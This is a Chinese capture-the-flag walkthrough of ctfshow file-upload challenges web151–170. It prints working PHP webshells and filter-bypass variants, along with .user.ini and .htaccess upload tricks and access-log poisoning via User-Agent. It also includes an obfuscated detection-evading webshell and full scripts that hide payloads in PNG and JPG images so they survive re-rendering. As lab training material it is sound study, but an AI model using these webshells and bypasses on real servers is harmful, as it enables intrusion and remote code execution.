ctfshow web入门文件上传web151————web170(完整)

web151

题目提示前端校验

F12查看前端代码,更改上传文件类型png为php,以便我们上传php后缀的代码文件。

写一句话木马,先命名为.txt,再更改为php后缀:

<?php @eval($_POST[123]); ?>

上传成功,得到上传的路径

查看根目录,没找到想要的文件名

再往当前文件的上级目录找

找到flag.php,访问即可


web152

像上题一样更改前端校验,上传php文件显示不符合上传类型。

需要上传规定的png文件,把上一题的php后缀改成png,再上传

得到上传到的路径

用bp抓包,修改png为php,才能使后台执行我们上传的代码,再点击send

POST传参如下,得到文件名flag.php

访问文件,得到flag


web153

采用上一题的方法上传png,在bp中修改为php后缀,回显错误。

又尝试修改为phP,还是上传错误,只能通过其他方法间接上传

nginx中有一个.user.ini文件:

.user.ini文件通常位于PHP安装目录的根目录下。当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处

auto_prepend_file:表示在每个PHP脚本之前自动加载指定的文件。例如auto_prepend_file=111.png

auto_append_file:与auto_prepend_file类似,但内容将添加到PHP脚本的末尾。例如,auto_append_file=111.png

思路:

我们可以上传一个.user.ini文件,文件内容是auto_prepend_file=111.png,这样能成功执行文件内容,进而上传我们想要执行的内容。

首先还是上传111.png,内容是一句话木马:

<?php @eval($_POST[123]); ?>

创建一个.user.ini文件,并上传

bp抓包,添加.user.ini的文件内容

auto_prepend_file=111.png

显示文件上传成功,那么我们的一句话木马也上传成功 

.user.ini上传到了index.php文件,一句话木马也在里面,需要在这个文件下进行post传参。

得到文件名

访问flag.php文件,得到flag


web154 

还是和上题一样,上传user.ini,但显示格式不对,那么在文件名后面加上png后缀,再上传。

 bp抓包,更改文件名,去掉后缀,并添加上命令

auto_prepend_file=111.png

 发送后得到上传成功的显示:

然后和上题相同。上传内容为一句话木马的png文件,但显示文件内容不符合,可见对上传的内容进行了限制

删除一句话木马中的php后,显示上传成功,可见该题限制了上传内容不能有php

一句话木马,不使用php,就使用短标签,相当于是简写形式:

<?=eval($_POST[123]);?>

访问/upload/index.php,POST传参,得到flag.php

再访问flag.php


web155

同上一题

还是使用短标签一句话木马


web156

先上传上一题的一句话木马,后缀是png         

bp抓包:

<?=eval($_POST[123]); ?>         上传失败                                                                               

<?=eval($_[123]); ?>            上传失败

<?=eval($_POST123?>      上传成功,可知过滤了[],可以使用{}代替

一句话木马:

<?=eval($_POST{123}?>

成功上传

接下来继续像之前一样上传user.ini.png文件,然后在bp修改后缀名和添加内容:       

auto_prepend_file=111.png

得到flag.php

得到flag 


web157

先上传.user.ini文件

然后修改111.png内容再上传,发现在之前的基础上过滤了;{}   这样一句话木马无法使用了,但我们可以使用php执行命令,直接注入我们想要查询目录或查看文件的命令:

<? system('ls ../') ?>

上传报错,尝试后发现过滤了php 

<? system('tac ../flag.php') ?>

使用*,代替php

 

web158 

跟上题完全一样

上传.user.ini

上传内容为  <? system('tac ../flag.php') ?>   的png文件


web159

按照之前思路,上传.user.ini.png,抓包更改文件后缀和内容

上传111.png文件,内容 <? system('tac ../flag.php') ?>,上传失败,多次尝试发现是过滤了()

上传内容为:

<?=`tac ../flag*`?>

访问index.php得到flag


web160

尝试上一题的命令,发现`被过滤,只能放弃使用上条的指令

尝试利用文件包含<?include"/var/log/nginx/access.log"?>访问nginx的日志文件  /var/log/nginx/access.log  但是报错,发现log被过滤

使用.连接字符串

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

并在UA中植入一句话木马 

访问index.php,POST传参输入,得到flag

1=system('tac ../flag.php');

web161

先尝试过滤了哪些字符,发现无论上传什么都被过滤,怀疑是文件头有限制

尝试在文件头添加PNG,还是无法上传

再尝试添加GIF89a,这也是图片的文件头,上传成功

接下来还是和上题一样,在UA植入木马:

再上传.user.ini

要添加上文件头,才能上传

访问index.php,POST传参,得到flag


web162

web163

之后再做.......


web164

先上传一张正常的照片,点击查看图片

得到上传后的照片并下载

对比原图片和网址回显的图片,发现大小不一样,所以对上传的照片进行了一些操作

而这个操作是图片上传的二次渲染

图片上传二次渲染的过程

1. 图片上传

用户通过Web界面上传图片文件。这些文件可以是各种类型的图片,如JPG、PNG、GIF等。

2. 初步处理与验证

  • 文件接收:服务器接收到上传的图片文件。
  • 格式验证:系统可能会检查文件的后缀名或文件头信息,以确保文件是图片格式。
  • 初步渲染或处理(可选):在有些情况下,为了预览或安全检查,系统可能会对图片进行初步的渲染或处理,如调整大小、压缩等。但这一步并不是所有系统都会执行,且不一定算作严格意义上的“二次渲染”。

3. 二次渲染

  • 重新生成图片:服务器端的应用程序使用图像处理库(如GD库、Imagick等)对图片进行二次渲染。这个过程可能包括调整图片的尺寸、分辨率、色彩等,以符合网站的特定要求或优化显示效果。
  • 内容清理与验证:在二次渲染的过程中,系统应该清理图片中的任何潜在恶意代码或数据。然而,如果这一过程存在漏洞,恶意代码可能会被忽略或保留下来。
  • 保存新图片:经过二次渲染后的图片被保存到服务器上,通常会在一个新的文件名或路径下。

4. 图片展示

当用户在Web页面上请求查看上传的图片时,服务器会提供经过二次渲染后的图片文件。

图片上传二次渲染漏洞利用

  1. 注入恶意代码
    • 攻击者可能会制作一个看似无害的图片文件,但其中包含了可被解释为恶意代码的特殊标记或数据。
    • 在第一次渲染时,这些恶意代码可能不会被激活或识别,因为它们被包裹在特定的标记或结构中。
    • 当图片被二次渲染时,如果应用程序没有充分清理或验证文件内容,恶意代码可能会被解释和执行,导致XSS(跨站脚本)攻击、RCE(远程代码执行)等安全问题。
  2. 绕过文件类型检查
    • 某些Web应用程序在上传文件时会检查文件类型,以防止上传可执行文件或脚本文件。
    • 攻击者可能会利用图片的二次渲染过程来绕过这些检查。例如,他们可能上传一个包含恶意脚本的图片文件,该文件在初次上传时被视为非法文件而被拒绝。然而,在二次渲染过程中,应用程序可能会生成一个新的图片文件,该文件虽然包含恶意代码,但具有合法的图片格式和扩展名。
  3. 条件竞争
    • 在某些情况下,二次渲染的逻辑可能存在漏洞,如先上传文件后判断,符合就保存,不符合则删除。
    • 攻击者可以利用条件竞争(Race Condition)来进行爆破上传,即在文件被删除之前迅速上传大量的恶意文件,以增加成功上传恶意文件的机会。

由于图片被二次渲染,我们无法直接在图片中直接注入木马,因为会被处理,而无法执行,这里需要用到php脚本,生成一个木马图片:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);


$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');
?>

得到2.png图片

用010editor打开图片,可见这个图片含有一句话木马

上传图片,点击查看图片

抓包,修改为POST传参,

POST /download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system

并加上

1=ls

相当于执行system('ls') 

 返回值没有想要的信息

 通过查看大佬的wp,得知是没有回显,需要加上请求头:

Content-Type: application/x-www-form-urlencoded

加上后先输入1=ls 得到flag.php

再修改为1=tac flag.php,得到flag

参考文章:ctfshow-web入门-文件上传(web164、web165)图片二次渲染绕过_ctfshow web164-优快云博客


web165

这一题还是图片的二次渲染,但是改为了jpg图片二次渲染

先上传一个jpg图片,图片选择对解题有影响,要尝试许多图片才能注入成功,我直接用的是群里的二次渲染图片

点击查看图片,得到渲染后的图片,保存下来,我命名为11.png

利用以下脚本,能将jpg图片转换成含有木马的jpg图片,主要目的是因为11.jpg已经被二次渲染了,在他的基础上注入木马,再放入网站后,二次渲染的内容少,木马能保留下来。

<?php

    $miniPayload = "<?=eval(\$_POST[1]);?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

        die('php-gd is not installed');

    }

    if(!isset($argv[1])) {

        die('php jpg_payload.php <jpg_name.jpg>');

    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {

        $nullbytePayloadSize = $pad;

        $dis = new DataInputStream($argv[1]);

        $outStream = file_get_contents($argv[1]);

        $extraBytes = 0;

        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {

            die('Incorrect SOI marker');

        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

            $marker = $dis->readByte();

            $size = $dis->readShort() - 2;

            $dis->skip($size);

            if($marker === 0xDA) {

                $startPos = $dis->seek();

                $outStreamTmp =

                    substr($outStream, 0, $startPos) .

                    $miniPayload .

                    str_repeat("\0",$nullbytePayloadSize) .

                    substr($outStream, $startPos);

                checkImage('_'.$argv[1], $outStreamTmp, TRUE);

                if($extraBytes !== 0) {

                    while((!$dis->eof())) {

                        if($dis->readByte() === 0xFF) {

                            if($dis->readByte !== 0x00) {

                                break;

                            }

                        }

                    }

                    $stopPos = $dis->seek() - 2;

                    $imageStreamSize = $stopPos - $startPos;

                    $outStream =

                        substr($outStream, 0, $startPos) .

                        $miniPayload .

                        substr(

                            str_repeat("\0",$nullbytePayloadSize).

                                substr($outStream, $startPos, $imageStreamSize),

                            0,

                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .

                                substr($outStream, $stopPos);

                } elseif($correctImage) {

                    $outStream = $outStreamTmp;

                } else {

                    break;

                }

                if(checkImage('payload_'.$argv[1], $outStream)) {

                    die('Success!');

                } else {

                    break;

                }

            }

        }

    }

    unlink('payload_'.$argv[1]);

    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {

        global $correctImage;

        file_put_contents($filename, $data);

        $correctImage = TRUE;

        imagecreatefromjpeg($filename);

        if($unlink)

            unlink($filename);

        return $correctImage;

    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {

        global $extraBytes, $correctImage;

        $correctImage = FALSE;

        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

            if(isset($m[1])) {

                $extraBytes = (int)$m[1];

            }

        }

    }

    class DataInputStream {

        private $binData;

        private $order;

        private $size;

        public function __construct($filename, $order = false, $fromString = false) {

            $this->binData = '';

            $this->order = $order;

            if(!$fromString) {

                if(!file_exists($filename) || !is_file($filename))

                    die('File not exists ['.$filename.']');

                $this->binData = file_get_contents($filename);

            } else {

                $this->binData = $filename;

            }

            $this->size = strlen($this->binData);

        }

        public function seek() {

            return ($this->size - strlen($this->binData));

        }

        public function skip($skip) {

            $this->binData = substr($this->binData, $skip);

        }

        public function readByte() {

            if($this->eof()) {

                die('End Of File');

            }

            $byte = substr($this->binData, 0, 1);

            $this->binData = substr($this->binData, 1);

            return ord($byte);

        }

        public function readShort() {

            if(strlen($this->binData) < 2) {

                die('End Of File');

            }

            $short = substr($this->binData, 0, 2);

            $this->binData = substr($this->binData, 2);

            if($this->order) {

                $short = (ord($short[1]) << 8) + ord($short[0]);

            } else {

                $short = (ord($short[0]) << 8) + ord($short[1]);

            }

            return $short;

        }

        public function eof() {

            return !$this->binData||(strlen($this->binData) === 0);

        }

    }

?>

在终端输入

php index.php 11.jpg

//php  脚本名 想要转换的图片名

即可得到木马图片,然后上传到网站

同时抓包,要更改为POST传参,因为我们上传图片使用的是POST,然后添加

1=system('ls');

得到flag.php 文件名

再修改为

1=system('tac flag.php');

得到flag值 


web166

查看上传点,可知这题只能上传zip文件

 先上传随便一个zip文件,抓包,修改文件内容:

<?=system('ls ../'); ?>

右侧得到上传到的地址 

 点击下载文件,抓包

修改访问地址,点击send,右侧得到文件名

接着用相同方法访问flag.php文件,得到flag


web167

题目提示httpd,且只能上传jpg文件

.htaccess 文件是 Apache HTTP 服务器的一个配置文件,它允许你针对目录及其子目录进行配置,而无需修改服务器的主配置文件(通常是 httpd.conf 或 apache2.conf,具体取决于你的操作系统和 Apache 版本)。.htaccess 文件中的指令会覆盖主配置文件中的相应指令,但仅限于该 .htaccess 文件所在的目录及其子目录。

所以我们可以上传一个.htaccess文件,文件内容能让网站用php解析jpg文件,这样就能上传含有一句话木马的jpg图片

.htaccess文件内容,表示用php解析jpg文件:

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

首先以.jpg后缀上传这个文件,用bp抓包,修改文件名为.htaccess,可见上传成功

再上传一个含有一句话木马的jpg文件,点击下载文件

 再按常规,得到flag.php

访问flag.php文件


web168

查看发现只能上传png文件

上传含有一句话木马的png文件,发现返回值为 null

发现eval值被查杀,system也被查杀,尝试利用拼接,也不行

根据题目提示是基础查杀,利用查杀木马:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

上传这个查杀木马,png格式,然后bp抓包更改为php后缀

接着访问上传的文件,再按老方法读取文件名和文件即可,要注意这题的flag放在了flafaa.php文件

web169

限制上传为zip文件

按照之前的方法,上传木马报错,只能尝试利用.user.ini文件进行日志文件包含

上传.user.ini.zip文件,抓包更改后缀以及文件名

auto_prepend_file=/var/log/nginx/access.log

并修改为:

Content-Type: image/png
因为后端验证又是png

上传成功 

再随便上传一个文件,抓包修改上传类型并在ua写入命令

读取/upload/1.php,得到文件名

再修改ua

User-Agent: <?=system('tac ../flagaa.php'); ?>

再访问文件,查看源代码得到flag

 

web170

还是和上题一样,上传.user.ini使结果回显到日志,再上传另一个文件,ua处写执行命令,再访问上传到的地址,得到结果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值